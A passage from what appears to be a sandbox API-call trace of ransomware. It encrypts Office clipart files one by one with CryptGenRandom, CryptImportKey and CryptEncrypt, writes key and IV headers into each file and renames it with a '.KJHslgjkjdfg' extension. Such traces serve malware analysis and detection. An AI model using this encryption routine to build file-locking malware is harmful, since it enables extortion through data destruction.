returned 1 [0198.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.129] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.129] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.129] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.129] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x336a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x336a, lpOverlapped=0x0) returned 1 [0198.133] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3370, dwBufLen=0x3370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3370) returned 1 [0198.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.133] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3370, lpOverlapped=0x0) returned 1 [0198.133] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.133] SetEndOfFile (hFile=0x130) returned 1 [0198.136] GetProcessHeap () returned 0x990000 [0198.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.136] GetProcessHeap () returned 0x990000 [0198.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.kjhslgjkjdfg")) returned 1 [0198.138] CloseHandle (hObject=0x130) returned 1 [0198.138] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0198.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.139] GetProcessHeap () returned 0x990000 [0198.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.139] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.139] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.141] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.141] GetProcessHeap () returned 0x990000 [0198.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.142] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.142] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.142] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.142] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.142] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.143] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ca4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ca4, lpOverlapped=0x0) returned 1 [0198.144] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cb0) returned 1 [0198.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.144] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1cb0, lpOverlapped=0x0) returned 1 [0198.144] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.144] SetEndOfFile (hFile=0x130) returned 1 [0198.147] GetProcessHeap () returned 0x990000 [0198.147] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.147] GetProcessHeap () returned 0x990000 [0198.147] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.kjhslgjkjdfg")) returned 1 [0198.149] CloseHandle (hObject=0x130) returned 1 [0198.149] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0198.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.150] GetProcessHeap () returned 0x990000 [0198.150] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.150] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.150] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0198.152] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.152] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.152] GetProcessHeap () returned 0x990000 [0198.152] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.152] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.152] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.153] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.153] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.153] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x11b6, lpOverlapped=0x0) returned 1 [0198.154] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11c0) returned 1 [0198.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.155] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11c0, lpOverlapped=0x0) returned 1 [0198.155] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.155] SetEndOfFile (hFile=0x130) returned 1 [0198.158] GetProcessHeap () returned 0x990000 [0198.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.158] GetProcessHeap () returned 0x990000 [0198.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.kjhslgjkjdfg")) returned 1 [0198.159] CloseHandle (hObject=0x130) returned 1 [0198.159] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0198.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.160] GetProcessHeap () returned 0x990000 [0198.160] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.160] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.160] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.165] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.165] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.165] GetProcessHeap () returned 0x990000 [0198.165] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.165] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.165] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.165] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.165] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.166] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.166] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.166] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.166] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x207a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x207a, lpOverlapped=0x0) returned 1 [0198.167] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2080, dwBufLen=0x2080 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2080) returned 1 [0198.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.167] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2080, lpOverlapped=0x0) returned 1 [0198.167] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.167] SetEndOfFile (hFile=0x130) returned 1 [0198.170] GetProcessHeap () returned 0x990000 [0198.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.170] GetProcessHeap () returned 0x990000 [0198.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.kjhslgjkjdfg")) returned 1 [0198.172] CloseHandle (hObject=0x130) returned 1 [0198.172] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0198.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.174] GetProcessHeap () returned 0x990000 [0198.174] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.174] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.175] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.177] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.177] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.177] GetProcessHeap () returned 0x990000 [0198.177] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.177] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.177] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.177] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.177] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.178] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.178] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.178] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.178] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.178] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x72f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x72f8, lpOverlapped=0x0) returned 1 [0198.180] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7300, dwBufLen=0x7300 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7300) returned 1 [0198.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.180] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7300, 